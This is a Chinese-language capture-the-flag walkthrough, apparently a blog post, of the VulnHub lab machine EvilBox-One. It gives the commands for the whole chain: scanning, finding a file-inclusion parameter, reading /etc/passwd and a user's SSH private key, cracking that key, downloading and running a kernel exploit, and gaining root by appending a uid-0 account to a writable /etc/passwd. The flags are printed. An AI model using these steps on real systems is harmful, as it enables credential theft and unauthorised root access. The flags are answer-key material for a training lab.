​靶场练习No.13 VulnHub靶场EvilBox-One

311 阅读3分钟

**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究

靶机信息

下载地址:

 https://www.vulnhub.com/entry/evilbox-one,736/

难度: 简单

发布时间: 2021年8月16日

提示信息: 无

实验环境

 攻击机:VBox    kali    192.168.7.3  靶机:Vbox     linux   IP自动获取

信息收集

扫描主机

 nmap -sP 192.168.7.1/24

图片

端口扫描

 nmap -sC -sV -p- 192.168.7.100 -oN EvilBox-One.nmap

图片

可以看到开放了22端口和80端口,还是从80端口开始

Web渗透

 http://192.168.7.100

图片

80端口是apache的默认页面当前页面没有可利用的信息

目录扫描

 gobuster dir -w ../../Dict/SecLists-2021.4/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.7.100 -x .php,.html,.txt,.zip

图片

扫到一个robots.txt文件和一个secret目录,先看看robots.txt文件内容

 wget http://192.168.7.100/robots.txt cat robots.txt

图片

内容里面发现H4x0r可能是个帐号,再看下secret目录

 curl http://192.168.7.100/secret/

图片

没有任何内容,继续目录扫描

 gobuster dir -w ../../Dict/SecLists-2021.4/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.7.100/secret/ -x .php,.html,.txt,.zip

图片

扫到evil.php访问看看

图片

图片

还是个空的文件,这就有点可疑了,会不会是个后门,或者文件包含漏洞

 wfuzz -c -w ../../Dict/fuzzDicts/paramDict/php.txt -u http://192.168.7.100/secret/evil.php?FUZZ=/etc/passwd|grep -v "0 Ch"

图片

运气很好,第一个字典就跑出来参数了

 http://192.168.7.100/secret/evil.php?command=/etc/passwd

图片

passwd文件下发现一个帐号mowree我们记录下来

首先这里有mowree帐户,那必然会有一个mowree用户目录,我们假设用户目录下有个.ssh目录并且.ssh目录下还有个id_rsa文件,尝试读取下

 http://192.168.7.100/secret/evil.php?command=/home/mowree/.ssh/id_rsa

图片

现在我们把文件下载下来暴破密码

 curl wget http://192.168.7.100/secret/evil.php?command=/home/mowree/.ssh/id_rsa >> id_rsa ls cat id_rsa

图片

SSH密码暴破

证书下载好就可以暴破了

 python3 /usr/share/john/ssh2john.py id_rsa >crack.txt john crack.txt

图片

成功拿到密码unicorn登录ssh

 ssh mowree@192.168.7.100 -i /root/.ssh/id_rsa

图片

登录成功,先查下用户目录下有什么文件

 id ls cat user.txt

图片

拿到第1个flag

 56Rbp0soobpzWSVzKh9YOvzGLgtPZQ

权限提升

再看下有什么可以提权的信息

 uanme -a

图片

内核版本号4.19.0去exploit-db上查找是否有提权漏洞

图片

选一个最新的试试

图片

复制链接下来到靶机上下载

 cd /tmp wget https://www.exploit-db.com/download/47167 chmod +x 47167 ./47167

提权失败没有安装gcc

图片

手动翻了一会也没找到能提权的信息,后来想到有个脚本可以帮你检测到提权的点,但是不记得叫什么名,到群里问过大佬推荐了几个脚本,经过测试最后使用LinEnum这个工具找到/etc/passwd可读写

LinEnum辅助提权脚本

下载地址:

 https://github.com/rebootuser/LinEnum

kali攻击机上下载好LinEnum.sh打开http服务

 git clone https://github.com/rebootuser/LinEnum.git cd LineNum python3 -m http.server

靶机去下载,加上可执行权限,然后执行

 wget http://192.168.7.100:8000/LinEnum.sh chmod +x LinEnum.sh ./LinEnum.sh

图片

这个脚本挺好用,但是内容太多慢慢看也需要不少时间,最后在这个可读写敏感信息文件这里可以看到/etc/passwd普通用户有读写权限

图片

现在只要往/etc/passwd文件里插入一个root权限的用户即可

首先要生成密码

 openssl passwd -1 123456

图片

然后用密码和帐号做个拼接

图片

第一位的root改成你的用户名,后面的x替换成密码

 aaa:$1$aaa$8LT9tZ2ZqkvmMt74nqBXo0:0:0:root:/root:/bin/bash

拼接好现在写入到/etc/passwd文件中

 vi /etc/passwd cat /etc/passwd

图片

都准备好开始提权

 su aaa 输入密码123456 id cd /root ls cat root.txt

图片

成功拿到flag,游戏结束

 36QtXfdJWvdC0VavlPIApUbDlqTsBM

END

这篇文章到这里就结束了,喜欢打靶的小伙伴可以关注"伏波路上学安全"微信公众号,或扫描下面二维码关注,我会持续更新打靶文章,让我们一起在打靶中学习进步吧.

公众号二维码.jpg